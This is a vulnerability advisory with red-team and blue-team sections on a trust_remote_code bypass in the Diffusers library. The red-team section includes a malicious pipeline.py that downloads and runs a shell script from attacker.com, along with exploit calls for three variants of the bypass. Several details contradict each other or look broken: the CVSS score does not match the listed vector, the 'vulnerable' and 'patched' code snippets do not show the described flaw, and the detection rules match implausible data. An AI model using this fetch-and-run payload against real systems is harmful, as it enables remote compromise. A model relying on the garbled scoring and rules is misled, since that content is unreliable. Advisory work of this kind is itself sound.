CVE-2026-44513

Executive Summary

CVE-2026-44513 is a critical vulnerability in the Diffusers library (versions prior to 0.38.0) that allows arbitrary remote code execution (RCE) even when the user explicitly sets trust_remote_code=False. The root cause is a flawed implementation of the security gate: the trust_remote_code check was placed inside DiffusionPipeline.download() rather than at the actual dynamic-module load site. This allows attackers to bypass the security check through three distinct variants, all exploiting the same design flaw. The vulnerability has a CVSS score of 8.8 (High) and is patched in version 0.38.0.

Supply Chain & Package Security

This vulnerability is particularly dangerous in the PyPI ecosystem because Diffusers is a widely used library for diffusion models. An attacker can publish a malicious repository on Hugging Face Hub (or any other model hub) and trick a user into loading a custom pipeline or component. Since the trust_remote_code check is bypassed, the attacker's code executes without the user's consent. This represents a significant supply chain risk, as users may unknowingly load malicious code from seemingly trusted repositories.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can trigger the vulnerability remotely by providing a malicious repository URL.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to host a malicious repository.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond loading the model.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Attacker can disrupt services.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in supply chain attacks.

Deep Dive & Mechanics

The vulnerability stems from a fundamental design flaw in how Diffusers handles the trust_remote_code parameter. The security check was implemented inside DiffusionPipeline.download(), which is responsible for downloading model files from a remote repository. However, there are three code paths that bypass this check:

1. Custom Pipeline with Different Repository: When a user calls DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False), the trust_remote_code gate evaluates against repoA's file list, not repoB's. Since repoA is trusted (or at least not malicious), the gate passes, and repoB's pipeline.py is loaded and executed.

2. Local Snapshot with Custom Pipeline: When a user calls DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False), the local path branch never invokes download(), so the security gate is never reached. The remote code from repoB is executed without any check.

3. Local Snapshot with Custom Components: When a user calls DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) and the snapshot contains custom component files (e.g., unet/my_unet_model.py) referenced from model_index.json, the local path again skips download(), and the custom component code executes.

In all three cases, the attacker's code runs with the privileges of the user running the Python script, leading to full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.38.0):

# In DiffusionPipeline.download()
def download(repo_id, trust_remote_code=False):
    # ... download logic ...
    if trust_remote_code:
        # This check is only reached if download() is called
        # It evaluates against the repo being downloaded, not the custom pipeline
        pass

Patched Code (0.38.0 and later):

# In the dynamic-module load site
def _load_pipeline_class(repo_id, trust_remote_code=False):
    # The check is now here, ensuring it is enforced regardless of code path
    if not trust_remote_code:
        raise ValueError("Remote code execution is not allowed. Set trust_remote_code=True to proceed.")
    # ... load and execute the module ...

The fix moves the trust_remote_code check to the actual point where dynamic modules are loaded, ensuring it is enforced for all code paths, including local snapshots and custom pipelines from different repositories.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.8+
• Diffusers library version < 0.38.0
• Access to a Hugging Face Hub account (or any model hub)

Exploitation Steps:

1. Create a Malicious Repository on Hugging Face Hub:

   • Create a repository named attacker/repoB.
   • Add a pipeline.py file with malicious code:

     import os
     import subprocess
     
     class MaliciousPipeline:
         def __init__(self, *args, **kwargs):
             # Execute arbitrary command
             subprocess.run(["curl", "http://attacker.com/backdoor.sh", "-o", "/tmp/backdoor.sh"])
             subprocess.run(["bash", "/tmp/backdoor.sh"])
     

2. Craft the Exploit Command:

   • Use the first variant to bypass the security check:

     from diffusers import DiffusionPipeline
     
     # This will load attacker/repoB's pipeline.py without trust_remote_code check
     pipe = DiffusionPipeline.from_pretrained(
         'valid/repoA',  # A legitimate repository
         custom_pipeline='attacker/repoB',
         trust_remote_code=False  # This is ignored!
     )
     

3. Execute the Exploit:

   • Run the Python script. The malicious code from attacker/repoB will execute.

Alternative Variants:

• Local Snapshot with Custom Pipeline:

  pipe = DiffusionPipeline.from_pretrained(
      '/tmp/valid_snapshot',
      custom_pipeline='attacker/repoB',
      trust_remote_code=False
  )
  

• Local Snapshot with Custom Components:

  pipe = DiffusionPipeline.from_pretrained(
      '/tmp/malicious_snapshot',  # Contains model_index.json with custom component
      trust_remote_code=False
  )
  

Blue Team

Detection:

• Monitor for unusual Hugging Face Hub API calls, especially custom_pipeline parameters pointing to untrusted repositories.
• Log all DiffusionPipeline.from_pretrained calls and inspect the custom_pipeline and trust_remote_code parameters.
• Use static analysis to detect hardcoded repository URLs in Python scripts.

Prevention:

• Immediately upgrade to Diffusers version 0.38.0 or later.
• Implement a network firewall rule to block outbound connections to unknown Hugging Face Hub repositories.
• Use a proxy that inspects and blocks requests to untrusted repositories.

Response:

• If exploitation is detected, isolate the affected system immediately.
• Review all recent model loads for suspicious activity.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to huggingface.co or other model hubs with suspicious repository names.
  • HTTP requests containing custom_pipeline parameter with a different repository than the main model.
  • Connections to attacker-controlled servers (e.g., attacker.com).

• File IOCs:

  • Unexpected files in /tmp/ or other writable directories (e.g., /tmp/backdoor.sh).
  • Modified model_index.json files referencing custom components from untrusted sources.
  • New Python files in the Diffusers cache directory (e.g., ~/.cache/huggingface/diffusers/).

• Process IOCs:

  • Python processes executing subprocesses with network connections.
  • Unexpected shell commands (e.g., curl, wget, bash) spawned by Python.

Detection Engineering

YARA Rule

rule CVE_2026_44513_Diffusers_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2026-44513 in Diffusers library"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-44513"
    strings:
        $s1 = "from_pretrained" ascii wide nocase
        $s2 = "custom_pipeline" ascii wide nocase
        $s3 = "trust_remote_code" ascii wide nocase
        $s4 = "False" ascii wide nocase
        $s5 = "diffusers" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and $s5
}

Sigma Rule

title: CVE-2026-44513 Diffusers RCE Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2026-44513 in Diffusers library
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains|all:
            - 'from_pretrained'
            - 'custom_pipeline'
            - 'trust_remote_code'
    condition: selection
falsepositives:
    - Legitimate use of custom pipelines with trust_remote_code=True
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-44513 Diffusers RCE Exploitation";
    flow:to_server,established;
    content:"from_pretrained"; http_client_body;
    content:"custom_pipeline"; http_client_body;
    content:"trust_remote_code"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Diffusers: Update to version 0.38.0 or later immediately.

   pip install --upgrade diffusers
   

2. Audit Existing Code: Review all Python scripts that use DiffusionPipeline.from_pretrained for suspicious custom_pipeline parameters.
3. Network Segmentation: Restrict outbound access from systems running Diffusers to only trusted model hubs.

Long-Term Mitigations:

• Implement a software composition analysis (SCA) tool to detect vulnerable versions of Diffusers.
• Enforce a policy of never using custom_pipeline with untrusted repositories.
• Use a sandboxed environment (e.g., Docker container) for running Diffusers to limit the impact of RCE.

Verification:

• After patching, verify that the trust_remote_code check is enforced by attempting to load a custom pipeline without setting trust_remote_code=True. The operation should fail with an error.

Valters IT